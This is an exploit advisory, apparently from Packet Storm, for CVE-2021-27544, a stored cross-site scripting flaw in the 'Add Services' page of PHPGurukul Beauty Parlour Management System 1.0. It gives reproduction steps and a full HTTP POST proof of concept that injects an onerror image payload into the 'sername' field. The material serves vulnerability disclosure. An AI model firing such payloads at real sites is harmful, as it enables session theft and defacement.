Headline
CVE-2021-27544: Beauty Parlour Management System 1.0 Cross Site Scripting ≈ Packet Storm
Cross Site Scripting (XSS) in the “add-services.php” component of PHPGurukul Beauty Parlour Management System v1.0 allows remote attackers to execute arbitrary code by injecting arbitrary HTML into the “sername” parameter.
# Exploit Title: Beauty Parlour Management System 1.0 - 'Add Services' Cross-Site Scripting# Date: 19/2/2021# Exploit Author: Thinkland Security Team# Vendor Homepage: https://phpgurukul.com/beauty-parlour-management-system-using-php-and-mysql/# Software Link: https://phpgurukul.com/wp-content/uploads/2019/08/Beauty-Parlour-Management-System.zip# Version : V 1.0# Vulnerability Type: Cross-site Scripting# Tested on Windows 10 、XAMPP# This application is vulnerable to cross-site scripting vulnerability.# Vulnerable script:1.go to http://localhost/bpms/admin/ Sign in.2.go to http://localhost/bpms/admin/add-services.php，Click on Services —— Add Services，Fill in Services name <img src=1 onerror=alert(/xss/)>，Click on Add.3.Click on Manage Services，You will see your Javascript code executed.# poc：POST /bpms/admin/add-services.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 71Origin: http://localhostConnection: closeReferer: http://localhost/bpms/admin/add-services.phpCookie: PHPSESSID=qaqv7jl8dqci4i2nldnj4n60s0Upgrade-Insecure-Requests: 1sername=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E&cost=1&submit=